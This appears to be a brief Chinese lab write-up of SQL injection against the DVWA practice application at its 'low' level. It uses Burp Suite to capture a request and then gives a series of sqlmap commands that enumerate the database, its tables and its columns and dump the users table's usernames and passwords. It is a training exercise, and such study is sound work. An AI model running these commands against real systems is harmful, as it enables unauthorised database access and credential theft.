Sql注入爆破--DVWA

Sql注入爆破：

• 工具：Sqlmap、BurpSuit
• 方法：利用BurpSuit抓包获取登录cookie进行爆破（实质是利用root账户）
• DVWA级别：low

1）原理：

2）实战：

• BurpSuit抓包

在SQL Injection 输入栏输入：1

 

• 保存抓包数据

将抓包信息保存到本地文件test：

 

• Sqlmap暴力破解

开启Sqlmap，输入：sqlmap -r /root/Desktop/test --current-db

（根据当前请求信息猜解当前数据库；猜想：破解的原理是什么？）

猜解到数据库：‘dvwa’；进一步爆破该数据库表，输入：sqlmap -r /root/Desktop/test -D dvwa --tables

获取到两个表：guestbook、users，为了进一步破解密码，继续猜解users表

输入：sqlmap -r /root/Desktop/test -D dvwa -T users --columns

获取users表中字段，其中user和password字段内容是我们需要的，继续暴力破解

输入：sqlmap -r /root/Desktop/test -D dvwa -T users -C user,password --dump

暴力破解成功！获取账户和密码！

3）猜想：